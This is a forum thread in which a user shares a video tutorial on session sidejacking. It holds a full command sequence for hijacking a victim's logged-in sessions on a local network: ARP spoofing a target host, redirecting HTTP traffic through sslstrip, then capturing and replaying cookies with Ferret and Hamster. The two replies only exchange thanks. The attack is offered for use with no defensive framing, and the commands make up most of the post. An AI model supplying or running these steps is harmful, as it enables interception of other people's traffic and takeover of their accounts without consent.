Results 1 to 3 of 3

Thread: [Video] Session Sidejacking (Ferret and Hamster)

Hybrid View

  1. #1

    Lightbulb [Video] Session Sidejacking (Ferret and Hamster)

    Links
    Watch video on-line: http://g0tmi1k.blip.tv/file/3288793
    Download video: http://www.mediafire.com/?4mouo2krmzy
    Commands: http://pastebin.com/dEt7SAcS
    What is this?
    This videos demos, how to "Session Sidejacking". Sidejacking is where you clone your targets cookies therefore your "sharing" their identity for that account (without ever knowing the username or password)!


    What do I need?

    > arpspoof
    > sslstrip
    > Hamster (and Ferret)
    *all in BackTrack 4 Final*


    Software
    Name: arpspoof (DSniff)
    Version: 2.3
    Home Page: http://www.monkey.org/~dugsong/dsniff/
    Download Link: http://www.monkey.org/~dugsong/dsniff/dsniff-2.3.tar.gz

    Name: sslstrip
    Version: 0.6
    Home Page: http://www.thoughtcrime.org/software...rip/index.html
    Download Link: http://www.thoughtcrime.org/software/sslstrip/sslstrip-0.6.tar.gz

    Name: Hamster Sidejacking Tool
    Version: 2.0
    Home Page: http://hamster.erratasec.com/
    Download Link: http://hamster.erratasec.com/downloa...er-2.0.0.tar.z


    Commands:
    Code:
    echo 1 > /proc/sys/net/ipv4/ip_forward
    arpspoof -i eth0 -t 192.168.1.104 192.168.1.1
    
    iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-ports 10000
    sslstrip -p -k -f
    
    /pentest/sniffers/hamster/ferret -i eth0
    
    /pentest/sniffers/hamster/hamster
    
    Konqueror -> Settings -> Configure Konqueror -> Proxy -> Manually. 127.0.0.1:1234
    Konqueror -> http://hamster


    Notes:
    Song: Soulwax - Bonkers (As Heard On Radio Soulwax Edit)
    Video length: 2:39
    Capture length: 3:42

    Blog Post: http://g0tmi1k.blogspot.com/2010/03/video-session-sidejacking-ferret-and.html
    Forum Post:



    ~g0tmi1k
    ~ Have you, g0tmi1k? ~
    :rolleyes: <(^^,)> :p d[-_^]b (= =D-->--< :eek:

  2. #2
    Just burned his ISO Ro0t_'s Avatar
    Join Date
    Jun 2009
    Posts
    18

    Default "Nice video's g0tmi1k"

    Nice video's g0tmi1k, thanks for taking the time and energy on making them for the community. They are always clear and right to the point, much appreciated!!
    "It's Mind over Matter, if you don't have a mind it doesn't matter"

  3. #3

    Default

    Quote Originally Posted by Ro0t_ View Post
    Nice video's g0tmi1k, thanks for taking the time and energy on making them for the community. They are always clear and right to the point, much appreciated!!
    Thanks for the thanks! (=
    ~ Have you, g0tmi1k? ~
    :rolleyes: <(^^,)> :p d[-_^]b (= =D-->--< :eek:

Posting Permissions

  • You may not post new threads
  • You may not post replies
  • You may not post attachments
  • You may not edit your posts
  •